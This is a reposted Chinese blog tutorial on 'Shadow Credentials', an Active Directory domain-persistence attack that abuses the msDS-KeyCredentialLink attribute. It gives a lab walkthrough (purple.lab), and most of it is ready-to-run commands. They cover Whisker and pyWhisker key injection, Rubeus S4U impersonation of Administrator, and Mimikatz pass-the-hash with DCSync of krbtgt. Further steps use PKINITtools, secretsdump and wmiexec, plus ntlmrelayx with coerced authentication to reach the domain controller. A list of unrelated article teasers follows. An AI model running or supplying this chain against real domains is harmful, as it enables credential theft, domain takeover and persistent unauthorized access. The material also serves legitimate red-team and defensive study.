使用影子凭证进行域权限维持

news2024/9/29 3:25:39

本文来源无问社区,更对实战内容,渗透思路可前往查看icon-default.png?t=N7T8http://wwlib.cn/index.php/artread/artid/15293.html

Microsoft 推出了 Windows Hello 企业版 (WHfB),以使用基于密钥的信任模型替换传统的基于密码的身份验证。此实现使用链接到加密证书对的 PIN 或生物识别技术,以允许域上的用户访问资源。用户或计算机帐户可以具有多个密钥凭据,这些凭据可以对应于不同的设备。该信息存储在 msDS-KeyCredentialLink 活动目录属性中,并在 Windows Server 2016 和 Windows 10 1703 中引入。

与任何新技术或功能一样,引入了新的攻击面,可能会被滥用。在 Black Hat Europe 2019 期间,Michael Grafnetter 讨论了针对 Windows Hello 企业版的几种攻击,包括一种域持久性技术,该技术涉及修改目标计算机或用户帐户的 msDS-KeyCredentialLink 属性。使用公钥加密的攻击者可以修改具有权限的帐户的此属性,以获取票证授予票证 (TGT),这可能导致检索 NTLM 哈希。如果目标帐户的密码发生更改,则此属性不会受到影响,因此威胁参与者可以连续使用此技术来检索 NTLM 哈希或域管理员的票证授予服务票证。下图直观地显示了 Shadow Credentials 技术在实践中的步骤。

图片

在 Active Directory 中修改此属性的权限具有属于以下组成员的帐户:

  • 主要管理员
  • 企业密钥管理员

图片

或者,如果某个帐户遭到入侵,则如果某个帐户对 Active Directory 中的对象(计算机帐户或用户帐户)具有 GenericAll 或 GenericWrite 权限,则该帐户会影响计算机帐户,则可用于持久性或横向移动。

图片

这两个权限都将继承对 msDS-KeyCredentialLink 属性的读取和写入权限,这是执行攻击所必需的。

图片

Elad Shamir 发布了一个名为 Whisker 的工具,可以帮助红队在红队行动中使用这种技术。该工具将生成证书和非对称密钥,并将此信息存储在 msDS-KeyCredentialLink 属性中。生成的证书可以与 Rubeus 一起使用,以请求票证授予票证并进一步扩大攻击

Whisker.exe add /target:dc$ /domain:purple.lab /dc:dc.purple.lab

图片

使用针对目标帐户的标志“list”来验证属性是否已更新。存储在 msDS-KeyCredentialLInk 属性中的信息包括:

  • 用户 ID
  • 公钥
  • 设备 ID
  • 上次登录时间
  • 证明数据

但是,与它的 python 实现 pyWhisker 相比,该工具仅将这些结果限制为设备 ID 和上次登录时间,这在讨论非域加入系统技术的部分中进行了详细介绍。

Whisker.exe list /target:dc$ /domain:purple.lab /dc:dc.purple.lab

图片

从 Active Directory 的角度来看,属性值的格式如下图所示。但是,无法使用 Microsoft 的 ADSI 编辑读取或修改此值。

图片

其输出中的 Whisker 将提供 Rubeus 命令。使用该命令,可以使用基于证书的身份验证请求票证授予票证。

图片

门票将以 base-64 格式收到。

图片

票证将缓存在内存中,并且属于域控制器计算机帐户,因为这是目标帐户。计算机帐户的 NTLM 哈希也将显示在结果中,并可用于通过哈希攻击。在不同的情况下,红队操作员可以使用票证或哈希进行进一步的攻击,这些攻击可能导致使用 DCSync 转储 Active Directory 哈希,或者通过模拟域管理员帐户重新获得对域控制器和网络中其他敏感主机的访问权限。

图片

Mimikatz 可用于对来自提升会话的帐户执行传递哈希攻击。执行以下命令将以 DC$ 帐户身份打开一个新会话。

privilege::debug
sekurlsa::pth /user:DC$ /domain:purple.lab /ntlm:5de006c3bf93d30195dff6fadd92a74c

图片

在新会话中,可以再次执行 Mimikatz 以转储 Active Directory 帐户(如 krbtgt 帐户)的密码哈希。使用 krbtgt 帐户的 NTLM 哈希,可以创建黄金票证作为辅助域持久性方法。

lsadump::dcsync /domain:purple.lab /user:krbtgt

图片

或者,属于 DC$ 帐户的票证可用于使用用户的 Kerberos 扩展服务为域管理员帐户请求服务票证。Rubeus 可以与 Kerberos 协议进行交互,使用属于 DC$ 计算机帐户的证书执行以下命令将获得域控制器 cifs 服务的票证。此票证将代表域管理员帐户请求。

Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/dc.purple.lab /dc:dc.purple.lab /ptt /ticket:[Base64 TGT]

图片

TGS 票证将被接收并缓存到内存中。应该注意的是,可以请求服务票证来访问域控制器外部的其他敏感主机,以便可以将信息过滤并正确使用到报告中。

图片

由于服务票证存储在内存中,因此可以使用标准用户帐户从主机访问域控制器资源。

dir \\dc.purple.lab\c$

图片

未加入域

如果域管理员帐户或具有所需权限的帐户的凭据是已知的,则也可以从未加入域的系统执行该技术。Charlie Bromberg 发布了 Whisker 的 python 实现,称为 pyWhisker,以帮助从未附加到域的主机进行操作。执行第一个命令将仅列出目标主机的设备 ID 和创建时间输出,该主机的 msDS-KeyCredentialLink 属性中已有一个密钥对,类似于该工具的 C# 实现。但是,该工具还可以使用具有相关设备 ID 的 info 标志打印 KeyCredential 结构中包含的所有信息。

python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "list"
python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "info" --device-id 730406d6-bcd3-4427-a14b-b0420924a149

图片

执行以下命令将执行攻击,生成的证书将保存在本地。PFX 格式。使用该证书,可以检索计算机帐户或票证授予票证的 NTLM 哈希。

python3 pywhisker.py -d "purple.lab" -u "pentestlab" -p "Password1234" --target "dc$" --action "add" --filename dc

图片

该证书可以与 Dirk-jan Mollema 的 PKINITtools 一起使用,以便向密钥分发中心 (KDC) 进行身份验证,并请求以 .ccache 格式保存的票证授予票证。

python3 gettgtpkinit.py -cert-pfx dc.pfx -pfx-pass srjJXERibBHpBYIYKIeO purple.lab/dc$ dc$.ccache

图片

可以使用“export”命令将票证缓存到当前会话中,并使用 AS-REP 加密密钥可以从 PAC 检索计算机帐户的 NTLM 哈希,类似于证书帐户持久性技术。

export KRB5CCNAME=/home/kali/PKINITtools/dc\$.ccache
python3 getnthash.py -key c1f6bf9a8a7daeaf5c9b68cab6609994b233fa9b3fc30de747f0950111e545c5 purple.lab/dc$

图片

在 Windows 生态系统中,Mimikatz 可用于使用 DCSync 技术检索域哈希。在 Linux 环境中,来自 Impacket 套件的 secretsdump 可用于使用域控制器计算机帐户的哈希转储 krbtgt 帐户的哈希值。

python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'purple/dc$@10.0.0.1' -just-dc-user krbtgt

图片

通过检索域管理员帐户的密码哈希,然后使用通过 wmiexec python 工具传递哈希,重新建立与域控制器的访问也很简单。

python3 secretsdump.py -hashes :5de006c3bf93d30195dff6fadd92a74c 'purple/dc$@10.0.0.1' -just-dc-user Administrator
python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.0.0.1

图片

强制身份验证

影子凭证技术也已由 Charlie Bromberg 实现到 ntlmrelayx 的一个版本中。该攻击可以与强制身份验证(例如 PetitPotam、printerbug 或 ShadowCoerce)结合使用。

python3 ntlmrelayx.py -t ldap://ca --shadow-credentials --shadow-target 'dc$'

图片

但是,使用强制身份验证方法执行该技术会受到限制,因为将身份验证从 SMB 中继到 LDAP 是不可行的。因此,除非首先在替代协议(如 HTTP)中继身份验证,然后中继回运行侦听器的主机,否则直接执行上述漏洞不应起作用。另一种方法是在具有修改 msDS-KeyCredentialLink 属性所需权限的帐户的上下文中使用 NCC Group 的 Change-Lockscreen 工具触发身份验证。

Change-Lockscreen.exe -Webdav \\kali1@80\

图片

证书将以 PFX 格式提取,并带有随机密码字符串。这些可以与 gettgtpkinit python 工具一起使用,以请求 kerberos 票证授予票证。

python3 gettgtpkinit.py -cert-pfx ezlCyMJk.pfx -pfx-pass i0Oyg3xgWMCUKDmiB9yI purple.lab/dc$ p6nC1xBQ.ccache

图片

可以使用导出命令和票证的路径将票证缓存到当前会话中。与本文前面的使用方式类似,可以使用 getnthash python 脚本从 PAC 检索 DC$ 帐户的 NTLM 哈希。

export KRB5CCNAME=/home/kali/PKINITtools/ezlCyMJk.ccache 
python3 getnthash.py -key a52b696a23f6f838b45c475caeca7a118d7f5463af89bc4c8246d83fab1ea80e purple.lab/dc$

图片

还可以使用 gets4uticket python 脚本向 Linux 主机请求服务票证。之前请求的缓存票证可用于执行 Kerberos 身份验证并请求 TGS 票证,该票证将通过模拟域管理员帐户以 .ccache 格式保存为 cifs 服务。服务票证可以缓存在内存中,并且由于票证属于域管理员帐户,因此可以使用具有 Kerberos 身份验证的 wmiexec 来访问域控制器。

python3 gets4uticket.py kerberos+ccache://purple.lab\\dc\$:ezlCyMJk.ccache@dc.purple.lab cifs/dc.purple.lab@purple.lab administrator@purple.lab admin.ccache -v
export KRB5CCNAME=/home/kali/PKINITtools/administrator_tgs.ccache
wmiexec.py -k -no-pass purple.lab/administrator@dc.purple.lab

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1992007.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Material-UI】按钮组:尺寸与颜色详解

文章目录 一、按钮组概述1. 组件介绍2. 基本用法 二、按钮组的尺寸(Sizes)1. 小尺寸(Small)2. 中等尺寸(Medium)3. 大尺寸(Large) 三、按钮组的颜色(Colors)1…

gitea docker 快捷安装部署

前言 在前一篇博文(什么是 Gitea?)中,我们详细介绍了gitea的功能特性,以及其与其它git服务器之间的特性多维度对比。 在本文中,我们将详细介绍gitea的快捷安装部署,docker方式! 1…

qt客户端与服务端通信

服务器要一处于监听状态 客户端主动连接服务器 服务器的ui界面 客户端的ui界面 很简陋 服务端listen 按钮的槽函数 QHostAddress::Any,port 监听任何端口 void MainWindow::on_listen_clicked() {if(ui->lineEdit->text().isEmpty()){return ;}int port ui->li…

【第九节】python中xml解析和json编解码

目录 一、Python XML 解析 1.1 什么是XML 1.2 Python 对 XML 的解析方法 1.3 SAX解析xml 1.4 xml.dom解析xml 1.6 ElementTree解析XML 二、Python编解码json 2.1 什么是json 2.2 使用json 库 2.3 使用第三方库Demjson 一、Python XML 解析 1.1 什么是XML XML&#x…

Python新手错误集锦(PyCharm)

# 自学Python,用Pycharm作环境。我这个手新到这时我学习的第一个编程软件,且本人专业是化学,以前对电脑最高级的使用是玩扫雷游戏。所以这里集合的错误都是小透明错误,大部分人请绕道。不断更新中...... 缩进错误 记住“indent”…

Jmeter之BeanShell使用(全网最详细的介绍)-第九天

一.什么是BeanShell Java写成的⼩型、免费的Java源代码解释器可以执⾏标准Java语句和表达式,完全符合java语法的java脚本语⾔(需要会javase语⾔)包括⼀些脚本命令,有⾃⼰的⼀些语法和⽅法,是⼀种松散类型的脚本语⾔(这…

静电消除器的产品功能介绍

省维护:超高等级 冲击波可引起空间隔断,从而将外部空气的进入降至最低。与以往的针尖保护构造相比,通过形成绝对的空气屏障,实现了低流量且惊人的省维护性能。 大范围消除静电 配备了 Hi-Power I.C.C. 系统,除了可根据…

普通话水平测试证书真的有用吗?

对于部分考生而言报名普通话水平测试只是随大流,看周围同学都考了,自己也来报名。还有一些呢是看到博主总结哪些证好考有用,先拿下再说但是并不知道具体有什么用。那么,普通话水平测试证书,究竟能为我们带来什么呢&…

MyBatis Generator 代码生成器数据库表新增字段,不覆盖原文件

1.数据库窜库&#xff0c;配置了覆盖插件他会找其他库中同名的表 修改数据库链接 添加 &amp;nullCatalogMeansCurrenttrue <!-- 配置数据源&#xff0c;需要根据自己的项目修改 --><jdbcConnection driverClass"com.mysql.cj.jdbc.Driver"connect…

钡铼技术防水分线盒M12双通道4路DIN智能建筑自动化

钡铼技术的DB系列4路M12双通道预铸线缆分线盒是专为智能建筑自动化和工业自动化设备设计的先进解决方案。其工业级设计和耐酸碱腐蚀材料壳体&#xff0c;使其能够在恶劣环境下稳定运行&#xff0c;并且具备IP67和IP69K防护等级&#xff0c;保证了在高压高温水流清洗条件下的可靠…

python学习自制彩色,自定义格式日志打印制作LLoghelper

python学习自制彩色&#xff0c;自定义格式日志打印LLoghelper python print(xxx) 打印出来只显示白色黑底&#xff0c;没有时间&#xff0c;路径&#xff0c;不同的控制台颜色&#xff0c;对一个没有错误崩溃的python项目来说这样调试起一些逻辑非常不方便 目标&#xff1a; …

下载mmcv或者mmcv-full第三方库失败(已解决)

一、问题描述 首先跑yolov8改进的时候要下载mmcv-full&#xff0c;直接在环境里pip install一直失败&#xff0c;或者下载了之后运行代码说不存在程序啥的&#xff0c;也是没下对的意思。 mmcv或者说mmcv-full第三方库下载的版本是有要求的&#xff0c;要和自己的pytorch版本对…

解决maven java.rmi.ConnectException: Connection refused to host: 127.0.0.1 错误

highlight: gruvbox-dark theme: cyanosis 你好&#xff0c;我是 shengjk1&#xff0c;多年大厂经验&#xff0c;努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注&#xff01;你会有如下收益&#xff1a; 了解大厂经验拥有和大厂相匹配的技术等 希望看什么&#xff0c;…

2.2 Python变量与数据类型

欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;欢迎订阅相关专栏&#xff1a; 工&#x1f497;重&#x1f497;hao&#x1f497;&#xff1a;野老杂谈 ⭐️ 全网最全IT互联网公司面试宝典&#xff1a;收集整理全网各大IT互联网公司技术、项目、HR面试真题.…

好用到哭的翻译工具,百度翻译领衔,2024新宠来袭!

在全球化的浪潮中&#xff0c;语言障碍已经越来越不是问题了&#xff0c;翻译工具就像是我们的文化差异跨越助手。今天&#xff0c;我们就来聊聊几款翻译界的佼佼者&#xff0c;它们各有千秋&#xff0c;让我们的多语言之旅变得更加轻松。百度翻译算是其中的佼佼者&#xff0c;…

【机器学习】BP神经网络正向计算

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 BP神经网络正向计算1. 引言2. BP神经网络结构回顾3. 正向计算的基本原理4. 数学…

微信小程序通过code换取手机号

一、调用小程序验证组件&#xff0c;这两个组件都是可以文档地址。 二、首先还是得先拿到code &#xff08;1&#xff09;、必须在手机端去执行&#xff0c;开发者工具获取不到code。解决办法&#xff1a;将拿到的code在页面上渲染出来在复制一下就好了。 &#xff08;2&#…

文件上传漏洞(一,漏洞简介及简单利用)

本文仅作为学习参考使用&#xff0c;本文作者对任何使用本文进行渗透攻击破坏不负任何责任。 一&#xff0c;文件上传漏洞简介。 1&#xff0c;什么是文件上传漏洞。 文件上传漏洞&#xff0c;是指web应用允许用户上传诸如&#xff1a;木马&#xff0c;病毒&#xff0c;执行…

红酒与北美烧烤:自由的味蕾之旅

在繁星点点的夜空下&#xff0c;一场红酒与北美烧烤的盛宴悄然展开。这不是简单的味觉碰撞&#xff0c;而是一场自由的味蕾之旅&#xff0c;洒派红酒&#xff08;Bold & Generous&#xff09;与北美烧烤的结合&#xff0c;如同诗与远方的交汇&#xff0c;温柔而引人入胜。 …

产品经理-​如何做需求的优先级排序和版本规划(30)

如何做需求的优先级排序&#xff1f;如何做产品的版本规划&#xff1f;思考逻辑是什么&#xff1f; 需求优先级分析、产品版本规划 需求的分析和管理是产品经理的最核心技能&#xff0c;没有之一 作为一名产品经理&#xff0c;工作的产出物就是需求文档&#xff0c;在整个需求文…